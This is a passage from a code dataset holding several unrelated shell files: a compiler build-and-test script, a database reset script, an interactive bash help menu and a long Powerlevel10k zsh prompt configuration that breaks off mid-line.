${PROJECT_ROOT_DIR}/compiler/svf_patch/PointerAnalysis.cpp ${SVF_DIR}/lib/MemoryModel/PointerAnalysis.cpp\n${SYM_LINK} ${PROJECT_ROOT_DIR}/compiler/svf_patch/AndersenStat.cpp ${SVF_DIR}/lib/WPA/AndersenStat.cpp\n\n${SYM_LINK} ${PROJECT_ROOT_DIR}/compiler/svf_patch/build.sh ${SVF_DIR}/build.sh"} {"text": "<reponame>snudler6/lumi-lang<filename>TL2/test.sh\n#!/bin/bash\nset -ev\n\n# --< TL2 >--\n\nSOURCE=\"${BASH_SOURCE[0]}\"\nwhile [ -h \"$SOURCE\" ]; do\n DIR=\"$( cd -P \"$( dirname \"$SOURCE\" )\" >/dev/null && pwd )\"\n SOURCE=\"$(readlink \"$SOURCE\")\"\n [[ $SOURCE != /* ]] && SOURCE=\"$DIR/$SOURCE\"\ndone\nMYDIR=\"$( cd -P \"$( dirname \"$SOURCE\" )\" >/dev/null && pwd )\"\nDIR=\"$( cd -P \"$( dirname \"$MYDIR\" )\" >/dev/null && pwd )\"\n\nif [ -z $CC ]; then\n CC=gcc\nfi\nCC0=\"$CC --std=c89 -Werror\"\nCCW=\"$CC0 -Wall\"\n\nrm -rf $DIR/.test/TL2\nmkdir -p $DIR/.test/TL2\npushd $DIR/.test\n\n# compile tl1-compiler\n$CC0 ../TL1/tl1-compiler.c ../TL0/tl0-file.c ../TL0/tl0-string.c -I../TL0 \\\n -o TL2/tl1-compiler\n\n# test tl2-compiler C file\nTL2/tl1-compiler ../TL2/tl2-compiler.1.lm TL2/tl2-compiler.c\ndiff ../TL2/tl2-compiler.c TL2/tl2-compiler.c\n\n# compile tl2-compiler\n$CCW -Wno-parentheses ../TL2/tl2-compiler.c ../TL1/lumi.1.c -I../TL1 \\\n -o TL2/tl2-compiler\n \n\n# TL2 teardown\nif [ ! -z \"$CLEAR_TEST\" ]; then\n rm -rf TL2\nfi\npopd\n\n\n# TL2 tests passed"} {"text": "#!/usr/bin/env bash\necho \"Removing all documents from all collections\"\nnode cleanup-db.js --all\n\necho \"Initializing all collections with fresh documents\"\nnode setup-db.js"} {"text": "<reponame>shalearkane/ITW_Assignments\n#!/bin/bash\n\nsource helper_func.sh\nsource colours.sh\n\nunix_help_main_menu() {\n local selection\n until [ \"$selection\" = \"0\" ]; do\n center_text \"${BGCOLOUR}MAIN MENU${ENDCOLOUR}\" \" \"\n echo -e \"${COLOUR}1${ENDCOLOUR} -- File and Directory Management Commands\"\n echo -e \"${COLOUR}2${ENDCOLOUR} -- Text Processing Commands\"\n echo -e \"${COLOUR}3${ENDCOLOUR} -- System Status Commands\"\n echo -e \"${COLOUR}4${ENDCOLOUR} -- Exit\\n\"\n center_text_prompt \"\\b\\b\\b\\b\\b\\b\\bEnter your choice: \" \" \"\n read -n 1 -r selection\n clear\n case $selection in\n 1)\n bash file_management.sh\n ;;\n 2)\n bash text_processing.sh\n ;;\n 3)\n bash system_status.sh\n ;;\n q | 4)\n exit 0\n ;;\n *)\n center_text \"${RED}error: Enter correct choice [1-4]${ENDCOLOUR}\"\n selection=\n ;;\n esac\n done\n\n}\n\nexpert_menu() {\n clear\n case \"$1\" in\n help)\n bash help.sh\n ;;\n file)\n bash file_management.sh\n ;;\n text)\n bash text_processing.sh\n ;;\n status)\n bash system_status.sh\n ;;\n author)\n echo \"<NAME>\"\n ;;\n *)\n center_text \"${RED}error: Enter correct argument [file, text, status, help] ... see help for details.${ENDCOLOUR}\"\n ;;\n esac\n}\n\nclear\nif (($# == 0)); then\n export MYHELP_MODE=novice\n export COLOUR=$GREEN\n export BGCOLOUR=$GREENBG\n unix_help_main_menu\nelse\n export MYHELP_MODE=expert\n export COLOUR=$BLUE\n export BGCOLOUR=$BLUEBG\n expert_menu \"$1\"\nfi"} {"text": "# Config for Powerlevel10k with 8-color lean prompt style. Type `p10k configure` to generate\n# your own config based on it.\n#\n# Tip: Looking for a nice color? Here's a one-liner to print colormap.\n#\n# for i in {0..255}; do print -Pn \"%${i}F${(l:3::0:)i}%f \" ${${(M)$((i%8)):#7}:+$'\\n'}; done\n\n# Temporarily change options.\n'builtin' 'local' '-a' 'p10k_config_opts'\n[[ ! -o 'aliases' ]] || p10k_config_opts+=('aliases')\n[[ ! -o 'sh_glob' ]] || p10k_config_opts+=('sh_glob')\n[[ ! -o 'no_brace_expand' ]] || p10k_config_opts+=('no_brace_expand')\n'builtin' 'setopt' 'no_aliases' 'no_sh_glob' 'brace_expand'\n\n() {\n emulate -L zsh\n setopt no_unset extended_glob\n\n # Unset all configuration options. This allows you to apply configiguration changes without\n # restarting zsh. Edit ~/.p10k.zsh and type `source ~/.p10k.zsh`.\n unset -m 'POWERLEVEL9K_*'\n\n autoload -Uz is-at-least && is-at-least 5.1 || return\n\n zmodload zsh/langinfo\n if [[ ${langinfo[CODESET]:-} != (utf|UTF)(-|)8 ]]; then\n local LC_ALL=${${(@M)$(locale -a):#*.(utf|UTF)(-|)8}[1]:-en_US.UTF-8}\n fi\n\n # The list of segments shown on the left. Fill it with the most important segments.\n typeset -g POWERLEVEL9K_LEFT_PROMPT_ELEMENTS=(\n # =========================[ Line #1 ]=========================\n # os_icon # os identifier\n dir # current directory\n vcs # git status\n # =========================[ Line #2 ]=========================\n newline\n prompt_char # prompt symbol\n )\n\n # The list of segments shown on the right. Fill it with less important segments.\n # Right prompt on the last prompt line (where you are typing your commands) gets\n # automatically hidden when the input line reaches it. Right prompt above the\n # last prompt line gets hidden if it would overlap with left prompt.\n typeset -g POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS=(\n # =========================[ Line #1 ]=========================\n status # exit code of the last command\n command_execution_time # duration of the last command\n background_jobs # presence of background jobs\n direnv # direnv status (https://direnv.net/)\n virtualenv # python virtual environment (https://docs.python.org/3/library/venv.html)\n anaconda # conda environment (https://conda.io/)\n pyenv # python environment (https://github.com/pyenv/pyenv)\n goenv # go environment (https://github.com/syndbg/goenv)\n nodenv # node.js version from nodenv (https://github.com/nodenv/nodenv)\n nvm # node.js version from nvm (https://github.com/nvm-sh/nvm)\n nodeenv # node.js environment (https://github.com/ekalinin/nodeenv)\n # node_version # node.js version\n # go_version # go version (https://golang.org)\n # rust_version # rustc version (https://www.rust-lang.org)\n # dotnet_version # .NET version (https://dotnet.microsoft.com)\n rbenv # ruby version from rbenv (https://github.com/rbenv/rbenv)\n rvm # ruby version from rvm (https://rvm.io)\n fvm # flutter version management (https://github.com/leoafarias/fvm)\n luaenv # lua version from luaenv (https://github.com/cehoffman/luaenv)\n jenv # java version from jenv (https://github.com/jenv/jenv)\n plenv # perl version from plenv (https://github.com/tokuhirom/plenv)\n kubecontext # current kubernetes context (https://kubernetes.io/)\n terraform # terraform workspace (https://www.terraform.io)\n aws # aws profile (https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html)\n aws_eb_env # aws elastic beanstalk environment (https://aws.amazon.com/elasticbeanstalk/)\n azure # azure account name (https://docs.microsoft.com/en-us/cli/azure)\n gcloud # google cloud cli acccount and project (https://cloud.google.com/)\n google_app_cred # google application credentials (https://cloud.google.com/docs/authentication/production)\n context # user@hostname\n nordvpn # nordvpn connection status, linux only (https://nordvpn.com/)\n ranger # ranger shell (https://github.com/ranger/ranger)\n nnn # nnn shell (https://github.com/jarun/nnn)\n vim_shell # vim shell indicator (:sh)\n midnight_commander # midnight commander shell (https://midnight-commander.org/)\n # vpn_ip # virtual private network indicator\n # disk_usage # disk usage\n # ram # free RAM\n # load # CPU load\n todo # todo items (https://github.com/todotxt/todo.txt-cli)\n # time # current time\n # =========================[ Line #2 ]=========================\n newline\n # public_ip # public IP address\n # proxy # system-wide http/https/ftp proxy\n # battery # internal battery\n # example # example user-defined segment (see prompt_example function below)\n )\n\n # Basic style options that define the overall look of your prompt. You probably don't want to\n # change them.\n typeset -g POWERLEVEL9K_BACKGROUND= # transparent background\n typeset -g POWERLEVEL9K_{LEFT,RIGHT}_{LEFT,RIGHT}_WHITESPACE= # no surrounding whitespace\n typeset -g POWERLEVEL9K_{LEFT,RIGHT}_SUBSEGMENT_SEPARATOR=' ' # separate segments with a space\n typeset -g POWERLEVEL9K_{LEFT,RIGHT}_SEGMENT_SEPARATOR= # no end-of-line symbol\n\n # To disable default icons for all segments, set POWERLEVEL9K_VISUAL_IDENTIFIER_EXPANSION=''.\n #\n # To enable default icons for all segments, don't define POWERLEVEL9K_VISUAL_IDENTIFIER_EXPANSION\n # or set it to '${P9K_VISUAL_IDENTIFIER}'.\n #\n # To remove spaces from all default icons, set POWERLEVEL9K_VISUAL_IDENTIFIER_EXPANSION\n # to '${P9K_VISUAL_IDENTIFIER// }'. You'll know that you you need this option if you see extra\n # spaces after icons.\n #\n # To enable default icons for one segment (e.g., dir), set\n # POWERLEVEL9K_DIR_VISUAL_IDENTIFIER_EXPANSION='${P9K_VISUAL_IDENTIFIER}'.\n #\n # To assign a specific icon to one segment (e.g., dir), set\n # POWERLEVEL9K_DIR_VISUAL_IDENTIFIER_EXPANSION='⭐'.\n #\n # To assign a specific icon to a segment in a given state (e.g., dir in state NOT_WRITABLE),\n # set POWERLEVEL9K_DIR_NOT_WRITABLE_VISUAL_IDENTIFIER_EXPANSION='⭐'.\n #\n # Note: You can use $'\\u2B50' instead of '⭐'. It's especially convenient when specifying\n # icons that your text editor cannot render. Don't forget to put $ and use single quotes when\n # defining icons via Unicode codepoints.\n #\n # Note: Many default icons cannot be displayed with system fonts. You'll need to install a\n # capable font to use them. See POWERLEVEL9K_MODE below.\n typeset -g POWERLEVEL9K_VISUAL_IDENTIFIER_EXPANSION=\n\n # This option makes a difference only when default icons are enabled for all or some prompt\n # segments (see POWERLEVEL9K_VISUAL_IDENTIFIER_EXPANSION above). LOCK_ICON can be printed as\n # $'\\uE0A2', $'\\uE138' or $'\\uF023' depending on POWERLEVEL9K_MODE. The correct value of this\n # parameter depends on the provider of the font your terminal is using.\n #\n # Font Provider | POWERLEVEL9K_MODE\n # ---------------------------------+-------------------\n # Powerline | powerline\n # Font Awesome | awesome-fontconfig\n # Adobe Source Code Pro | awesome-fontconfig\n # Source Code Pro | awesome-fontconfig\n # Awesome-Terminal Fonts (regular) | awesome-fontconfig\n # Awesome-Terminal Fonts (patched) | awesome-patched\n # Nerd Fonts | nerdfont-complete\n # Other | compatible\n #\n # If this looks overwhelming, either stick with a preinstalled system font and set\n # POWERLEVEL9K_MODE=compatible, or install the recommended Powerlevel10k font from\n # https://github.com/romkatv/powerlevel10k/#recommended-meslo-nerd-font-patched-for-powerlevel10k\n # and set POWERLEVEL9K_MODE=nerdfont-complete.\n typeset -g POWERLEVEL9K_MODE=nerdfont-complete\n\n # When set to true, icons appear before content on both sides of the prompt. When set\n # to false, icons go after content. If empty or not set, icons go before content in the left\n # prompt and after content in the right prompt.\n #\n # You can also override it for a specific segment:\n #\n # POWERLEVEL9K_STATUS_ICON_BEFORE_CONTENT=false\n #\n # Or for a specific segment in specific state:\n #\n # POWERLEVEL9K_DIR_NOT_WRITABLE_ICON_BEFORE_CONTENT=false\n typeset -g POWERLEVEL9K_ICON_BEFORE_CONTENT=true\n\n # Add an empty line before each prompt.\n typeset -g POWERLEVEL9K_PROMPT_ADD_NEWLINE=true\n\n # Connect left prompt lines with these symbols.\n typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_PREFIX=\n typeset -g POWERLEVEL9K_MULTILINE_NEWLINE_PROMPT_PREFIX=\n typeset -g POWERLEVEL9K_MULTILINE_LAST_PROMPT_PREFIX=\n # Connect right prompt lines with these symbols.\n typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_SUFFIX=\n typeset -g POWERLEVEL9K_MULTILINE_NEWLINE_PROMPT_SUFFIX=\n typeset -g POWERLEVEL9K_MULTILINE_LAST_PROMPT_SUFFIX=\n\n # The left end of left prompt.\n typeset -g POWERLEVEL9K_LEFT_PROMPT_FIRST_SEGMENT_START_SYMBOL=\n # The right end of right prompt.\n typeset -g POWERLEVEL9K_RIGHT_PROMPT_LAST_SEGMENT_END_SYMBOL=\n\n # Ruler, a.k.a. the horizontal line before each prompt. If you set it to true, you'll\n # probably want to set POWERLEVEL9K_PROMPT_ADD_NEWLINE=false above and\n # POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_CHAR=' ' below.\n typeset -g POWERLEVEL9K_SHOW_RULER=false\n typeset -g POWERLEVEL9K_RULER_CHAR='─' # reasonable alternative: '·'\n typeset -g POWERLEVEL9K_RULER_FOREGROUND=7\n\n # Filler between left and right prompt on the first prompt line. You can set it to '·' or '─'\n # to make it easier to see the alignment between left and right prompt and to separate prompt\n # from command output. It serves the same purpose as ruler (see above) without increasing\n # the number of prompt lines. You'll probably want to set POWERLEVEL9K_SHOW_RULER=false\n # if using this. You might also like POWERLEVEL9K_PROMPT_ADD_NEWLINE=false for more compact\n # prompt.\n typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_CHAR=' '\n if [[ $POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_CHAR != ' ' ]]; then\n # The color of the filler.\n typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_FOREGROUND=7\n # Add a space between the end of left prompt and the filler.\n typeset -g POWERLEVEL9K_LEFT_PROMPT_LAST_SEGMENT_END_SYMBOL=' '\n # Add a space between the filler and the start of right prompt.\n typeset -g POWERLEVEL9K_RIGHT_PROMPT_FIRST_SEGMENT_START_SYMBOL=' '\n # Start filler from the edge of the screen if there are no left segments on the first line.\n typeset -g POWERLEVEL9K_EMPTY_LINE_LEFT_PROMPT_FIRST_SEGMENT_END_SYMBOL='%{%}'\n # End filler on the edge of the screen if there are no right segments on the first line.\n typeset -g POWERLEVEL9K_EMPTY_LINE_RIGHT_PROMPT_FIRST_SEGMENT_START_SYMBOL='%{%}'\n fi\n\n #################################[ os_icon: os identifier ]##################################\n # OS identifier color.\n typeset -g POWERLEVEL9K_OS_ICON_FOREGROUND=\n # Custom icon.\n typeset -g POWERLEVEL9K_OS_ICON_CONTENT_EXPANSION='${P9K_CONTENT}'\n\n ################################[ prompt_char: prompt symbol ]################################\n # Green prompt symbol if the last command succeeded.\n typeset -g POWERLEVEL9K_PROMPT_CHAR_OK_{VIINS,VICMD,VIVIS,VIOWR}_FOREGROUND=2\n # Red prompt symbol if the last command failed.\n typeset -g POWERLEVEL9K_PROMPT_CHAR_ERROR_{VIINS,VICMD,VIVIS,VIOWR}_FOREGROUND=1\n # Default prompt symbol.\n typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIINS_CONTENT_EXPANSION='❯'\n # Prompt symbol in command vi mode.\n typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VICMD_CONTENT_EXPANSION='❮'\n # Prompt symbol in visual vi mode.\n typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIVIS_CONTENT_EXPANSION='Ⅴ'\n # Prompt symbol in overwrite vi mode.\n typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIOWR_CONTENT_EXPANSION='▶'\n typeset -g POWERLEVEL9K_PROMPT_CHAR_OVERWRITE_STATE=true\n # No line terminator if prompt_char is the last segment.\n typeset -g POWERLEVEL9K_PROMPT_CHAR_LEFT_PROMPT_LAST_SEGMENT_END_SYMBOL=''\n # No line introducer if prompt_char is the first segment.\n typeset -g POWERLEVEL9K_PROMPT_CHAR_LEFT_PROMPT_FIRST_SEGMENT_START_SYMBOL=\n\n ##################################[ dir: current directory ]##################################\n # Default current directory color.\n typeset -g POWERLEVEL9K_DIR_FOREGROUND=4\n # If directory is too long, shorten some of its segments to the shortest possible unique\n # prefix. The shortened directory can be tab-completed to the original.\n typeset -g POWERLEVEL9K_SHORTEN_STRATEGY=truncate_to_unique\n # Replace removed segment suffixes with this symbol.\n typeset -g POWERLEVEL9K_SHORTEN_DELIMITER=\n # Color of the shortened directory segments.\n typeset -g POWERLEVEL9K_DIR_SHORTENED_FOREGROUND=4\n # Color of the anchor directory segments. Anchor segments are never shortened. The first\n # segment is always an anchor.\n typeset -g POWERLEVEL9K_DIR_ANCHOR_FOREGROUND=4\n # Set to true to display anchor directory segments in bold.\n typeset -g POWERLEVEL9K_DIR_ANCHOR_BOLD=false\n # Don't shorten directories that contain any of these files. They are anchors.\n local anchor_files=(\n .bzr\n .citc\n .git\n .hg\n .node-version\n .python-version\n .ruby-version\n .shorten_folder_marker\n .svn\n .terraform\n CVS\n Cargo.toml\n composer.json\n go.mod\n package.json\n )\n typeset -g POWERLEVEL9K_SHORTEN_FOLDER_MARKER=\"(${(j:|:)anchor_files})\"\n # Don't shorten this many last directory segments. They are anchors.\n typeset -g POWERLEVEL9K_SHORTEN_DIR_LENGTH=1\n # Shorten directory if it's longer than this even if there is space for it. The value can\n # be either absolute (e.g., '80') or a percentage of terminal width (e.g, '50%'). If empty,\n # directory will be shortened only when prompt doesn't fit or when other parameters demand it\n # (see POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS and POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS_PCT below).\n # If set to `0`, directory will always be shortened to its minimum length.\n typeset -g POWERLEVEL9K_DIR_MAX_LENGTH=80\n # When `dir` segment is on the last prompt line, try to shorten it enough to leave at least this\n # many columns for typing commands.\n typeset -g POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS=40\n # When `dir` segment is on the last prompt line, try to shorten it enough to leave at least\n # COLUMNS * POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS_PCT * 0.01 columns for typing commands.\n typeset -g POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS_PCT=50\n # If set to true, embed a hyperlink into the directory. Useful for quickly\n # opening a directory in the file manager simply by clicking the link.\n # Can also be handy when the directory is shortened, as it allows you to see\n # the full directory that was used in previous commands.\n typeset -g POWERLEVEL9K_DIR_HYPERLINK=false\n\n # Enable special styling for non-writable directories.\n typeset -g POWERLEVEL9K_DIR_SHOW_WRITABLE=true\n # Show this icon when the current directory is not writable. POWERLEVEL9K_DIR_SHOW_WRITABLE\n # above must be set to true for this parameter to have effect.\n # typeset -g POWERLEVEL9K_DIR_NOT_WRITABLE_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n # Custom prefix.\n # typeset -g POWERLEVEL9K_DIR_PREFIX='%fin '\n\n # POWERLEVEL9K_DIR_CLASSES allows you to specify custom icons for different directories.\n # It must be an array with 3 * N elements. Each triplet consists of:\n #\n # 1. A pattern against which the current directory is matched. Matching is done with\n # extended_glob option enabled.\n # 2. Directory class for the purpose of styling.\n # 3. Icon.\n #\n # Triplets are tried in order. The first triplet whose pattern matches $PWD wins. If there\n # are no matches, the directory will have no icon.\n #\n # Example:\n #\n # typeset -g POWERLEVEL9K_DIR_CLASSES=(\n # '~/work(|/*)' WORK '(╯°□°)╯︵ ┻━┻'\n # '~(|/*)' HOME '⌂'\n # '*' DEFAULT '')\n #\n # With these settings, the current directory in the prompt may look like this:\n #\n # (╯°□°)╯︵ ┻━┻ ~/work/projects/important/urgent\n #\n # Or like this:\n #\n # ⌂ ~/best/powerlevel10k\n #\n # You can also set different colors for directories of different classes. Remember to override\n # FOREGROUND, SHORTENED_FOREGROUND and ANCHOR_FOREGROUND for every directory class that you wish\n # to have its own color.\n #\n # typeset -g POWERLEVEL9K_DIR_WORK_FOREGROUND=31\n # typeset -g POWERLEVEL9K_DIR_WORK_SHORTENED_FOREGROUND=103\n # typeset -g POWERLEVEL9K_DIR_WORK_ANCHOR_FOREGROUND=39\n #\n # typeset -g POWERLEVEL9K_DIR_CLASSES=()\n\n #####################################[ vcs: git status ]######################################\n # Branch icon. Set this parameter to '\\uF126 ' for the popular Powerline branch icon.\n typeset -g POWERLEVEL9K_VCS_BRANCH_ICON=\n POWERLEVEL9K_VCS_BRANCH_ICON=${(g::)POWERLEVEL9K_VCS_BRANCH_ICON}\n\n # Untracked files icon. It's really a question mark, your font isn't broken.\n # Change the value of this parameter to show a different icon.\n typeset -g POWERLEVEL9K_VCS_UNTRACKED_ICON='?'\n POWERLEVEL9K_VCS_UNTRACKED_ICON=${(g::)POWERLEVEL9K_VCS_UNTRACKED_ICON}\n\n # Formatter for Git status.\n #\n # Example output: master ⇣42⇡42 *42 merge ~42 +42 !42 ?42.\n #\n # You can edit the function to customize how Git status looks.\n #\n # VCS_STATUS_* parameters are set by gitstatus plugin. See reference:\n # https://github.com/romkatv/gitstatus/blob/master/gitstatus.plugin.zsh.\n function my_git_formatter() {\n emulate -L zsh\n\n if [[ -n $P9K_CONTENT ]]; then\n # If P9K_CONTENT is not empty, use it. It's either \"loading\" or from vcs_info (not from\n # gitstatus plugin). VCS_STATUS_* parameters are not available in this case.\n typeset -g my_git_format=$P9K_CONTENT\n return\n fi\n\n if (( $1 )); then\n # Styling for up-to-date Git status.\n local meta='%f' # default foreground\n local clean='%2F' # green foreground\n local modified='%3F' # yellow foreground\n local untracked='%4F' # blue foreground\n local conflicted='%1F' # red foreground\n else\n # Styling for incomplete and stale Git status.\n local meta='%f' # default foreground\n local clean='%f' # default foreground\n local modified='%f' # default foreground\n local untracked='%f' # default foreground\n local conflicted='%f' # default foreground\n fi\n\n local res\n local where # branch or tag\n if [[ -n $VCS_STATUS_LOCAL_BRANCH ]]; then\n res+=\"${clean}${POWERLEVEL9K_VCS_BRANCH_ICON}\"\n where=${(V)VCS_STATUS_LOCAL_BRANCH}\n elif [[ -n $VCS_STATUS_TAG ]]; then\n res+=\"${meta}#\"\n where=${(V)VCS_STATUS_TAG}\n fi\n\n # If local branch name or tag is at most 32 characters long, show it in full.\n # Otherwise show the first 12 … the last 12.\n (( $#where > 32 )) && where[13,-13]=\"…\"\n res+=\"${clean}${where//\\%/%%}\" # escape %\n\n # Display the current Git commit if there is no branch or tag.\n # Tip: To always display the current Git commit, remove `[[ -z $where ]] &&` from the next line.\n [[ -z $where ]] && res+=\"${meta}@${clean}${VCS_STATUS_COMMIT[1,8]}\"\n\n # Show tracking branch name if it differs from local branch.\n if [[ -n ${VCS_STATUS_REMOTE_BRANCH:#$VCS_STATUS_LOCAL_BRANCH} ]]; then\n res+=\"${meta}:${clean}${(V)VCS_STATUS_REMOTE_BRANCH//\\%/%%}\" # escape %\n fi\n\n # ⇣42 if behind the remote.\n (( VCS_STATUS_COMMITS_BEHIND )) && res+=\" ${clean}⇣${VCS_STATUS_COMMITS_BEHIND}\"\n # ⇡42 if ahead of the remote; no leading space if also behind the remote: ⇣42⇡42.\n (( VCS_STATUS_COMMITS_AHEAD && !VCS_STATUS_COMMITS_BEHIND )) && res+=\" \"\n (( VCS_STATUS_COMMITS_AHEAD )) && res+=\"${clean}⇡${VCS_STATUS_COMMITS_AHEAD}\"\n # *42 if have stashes.\n (( VCS_STATUS_STASHES )) && res+=\" ${clean}*${VCS_STATUS_STASHES}\"\n # 'merge' if the repo is in an unusual state.\n [[ -n $VCS_STATUS_ACTION ]] && res+=\" ${conflicted}${VCS_STATUS_ACTION}\"\n # ~42 if have merge conflicts.\n (( VCS_STATUS_NUM_CONFLICTED )) && res+=\" ${conflicted}~${VCS_STATUS_NUM_CONFLICTED}\"\n # +42 if have staged changes.\n (( VCS_STATUS_NUM_STAGED )) && res+=\" ${modified}+${VCS_STATUS_NUM_STAGED}\"\n # !42 if have unstaged changes.\n (( VCS_STATUS_NUM_UNSTAGED )) && res+=\" ${modified}!${VCS_STATUS_NUM_UNSTAGED}\"\n # ?42 if have untracked files. It's really a question mark, your font isn't broken.\n # See POWERLEVEL9K_VCS_UNTRACKED_ICON above if you want to use a different icon.\n # Remove the next line if you don't want to see untracked files at all.\n (( VCS_STATUS_NUM_UNTRACKED )) && res+=\" ${untracked}${POWERLEVEL9K_VCS_UNTRACKED_ICON}${VCS_STATUS_NUM_UNTRACKED}\"\n\n typeset -g my_git_format=$res\n }\n functions -M my_git_formatter 2>/dev/null\n\n # Disable the default Git status formatting.\n typeset -g POWERLEVEL9K_VCS_DISABLE_GITSTATUS_FORMATTING=true\n # Install our own Git status formatter.\n typeset -g POWERLEVEL9K_VCS_CONTENT_EXPANSION='${$((my_git_formatter(1)))+${my_git_format}}'\n typeset -g POWERLEVEL9K_VCS_LOADING_CONTENT_EXPANSION='${$((my_git_formatter(0)))+${my_git_format}}'\n # Enable counters for staged, unstaged, etc.\n typeset -g POWERLEVEL9K_VCS_{STAGED,UNSTAGED,UNTRACKED,CONFLICTED,COMMITS_AHEAD,COMMITS_BEHIND}_MAX_NUM=-1\n\n # Icon color.\n typeset -g POWERLEVEL9K_VCS_VISUAL_IDENTIFIER_COLOR=2\n typeset -g POWERLEVEL9K_VCS_LOADING_VISUAL_IDENTIFIER_COLOR=\n # Custom icon.\n # typeset -g POWERLEVEL9K_VCS_VISUAL_IDENTIFIER_EXPANSION='⭐'\n # Custom prefix.\n # typeset -g POWERLEVEL9K_VCS_PREFIX='%fon '\n\n # Show status of repositories of these types. You can add svn and/or hg if you are\n # using them. If you do, your prompt may become slow even when your current directory\n # isn't in an svn or hg reposotiry.\n typeset -g POWERLEVEL9K_VCS_BACKENDS=(git)\n\n # These settings are used for respositories other than Git or when gitstatusd fails and\n # Powerlevel10k has to fall back to using vcs_info.\n typeset -g POWERLEVEL9K_VCS_CLEAN_FOREGROUND=2\n typeset -g POWERLEVEL9K_VCS_UNTRACKED_FOREGROUND=2\n typeset -g POWERLEVEL9K_VCS_MODIFIED_FOREGROUND=3\n\n ##########################[ status: exit code of the last command ]###########################\n # Enable OK_PIPE, ERROR_PIPE and ERROR_SIGNAL status states to allow us to enable, disable and\n # style them independently from the regular OK and ERROR state.\n typeset -g POWERLEVEL9K_STATUS_EXTENDED_STATES=true\n\n # Status on success. No content, just an icon. No need to show it if prompt_char is enabled as\n # it will signify success by turning green.\n typeset -g POWERLEVEL9K_STATUS_OK=false\n typeset -g POWERLEVEL9K_STATUS_OK_FOREGROUND=2\n typeset -g POWERLEVEL9K_STATUS_OK_VISUAL_IDENTIFIER_EXPANSION='✔'\n\n # Status when some part of a pipe command fails but the overall exit status is zero. It may look\n # like this: 1|0.\n typeset -g POWERLEVEL9K_STATUS_OK_PIPE=true\n typeset -g POWERLEVEL9K_STATUS_OK_PIPE_FOREGROUND=2\n typeset -g POWERLEVEL9K_STATUS_OK_PIPE_VISUAL_IDENTIFIER_EXPANSION='✔'\n\n # Status when it's just an error code (e.g., '1'). No need to show it if prompt_char is enabled as\n # it will signify error by turning red.\n typeset -g POWERLEVEL9K_STATUS_ERROR=false\n typeset -g POWERLEVEL9K_STATUS_ERROR_FOREGROUND=1\n typeset -g POWERLEVEL9K_STATUS_ERROR_VISUAL_IDENTIFIER_EXPANSION='✘'\n\n # Status when the last command was terminated by a signal.\n typeset -g POWERLEVEL9K_STATUS_ERROR_SIGNAL=true\n typeset -g POWERLEVEL9K_STATUS_ERROR_SIGNAL_FOREGROUND=1\n # Use terse signal names: \"INT\" instead of \"SIGINT(2)\".\n typeset -g POWERLEVEL9K_STATUS_VERBOSE_SIGNAME=false\n typeset -g POWERLEVEL9K_STATUS_ERROR_SIGNAL_VISUAL_IDENTIFIER_EXPANSION='✘'\n\n # Status when some part of a pipe command fails and the overall exit status is also non-zero.\n # It may look like this: 1|0.\n typeset -g POWERLEVEL9K_STATUS_ERROR_PIPE=true\n typeset -g POWERLEVEL9K_STATUS_ERROR_PIPE_FOREGROUND=1\n typeset -g POWERLEVEL9K_STATUS_ERROR_PIPE_VISUAL_IDENTIFIER_EXPANSION='✘'\n\n ###################[ command_execution_time: duration of the last command ]###################\n # Show duration of the last command if takes longer than this many seconds.\n typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_THRESHOLD=3\n # Show this many fractional digits. Zero means round to seconds.\n typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_PRECISION=0\n # Execution time color.\n typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_FOREGROUND=3\n # Duration format: 1d 2h 3m 4s.\n typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_FORMAT='d h m s'\n # Custom icon.\n # typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_VISUAL_IDENTIFIER_EXPANSION='⭐'\n # Custom prefix.\n # typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_PREFIX='%ftook '\n\n #######################[ background_jobs: presence of background jobs ]#######################\n # Don't show the number of background jobs.\n typeset -g POWERLEVEL9K_BACKGROUND_JOBS_VERBOSE=false\n # Background jobs color.\n typeset -g POWERLEVEL9K_BACKGROUND_JOBS_FOREGROUND=1\n # Icon to show when there are background jobs.\n typeset -g POWERLEVEL9K_BACKGROUND_JOBS_VISUAL_IDENTIFIER_EXPANSION='⇶'\n\n #######################[ direnv: direnv status (https://direnv.net/) ]########################\n # Direnv color.\n typeset -g POWERLEVEL9K_DIRENV_FOREGROUND=3\n # Icon to show when direnv is active.\n typeset -g POWERLEVEL9K_DIRENV_VISUAL_IDENTIFIER_EXPANSION='${P9K_VISUAL_IDENTIFIER}'\n\n ##########[ nordvpn: nordvpn connection status, linux only (https://nordvpn.com/) ]###########\n # NordVPN connection indicator color.\n typeset -g POWERLEVEL9K_NORDVPN_FOREGROUND=6\n # Hide NordVPN connection indicator when not connected.\n typeset -g POWERLEVEL9K_NORDVPN_{DISCONNECTED,CONNECTING,DISCONNECTING}_CONTENT_EXPANSION=\n typeset -g POWERLEVEL9K_NORDVPN_{DISCONNECTED,CONNECTING,DISCONNECTING}_VISUAL_IDENTIFIER_EXPANSION=\n # Custom icon.\n # typeset -g POWERLEVEL9K_NORDVPN_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n #################[ ranger: ranger shell (https://github.com/ranger/ranger) ]##################\n # Ranger shell color.\n typeset -g 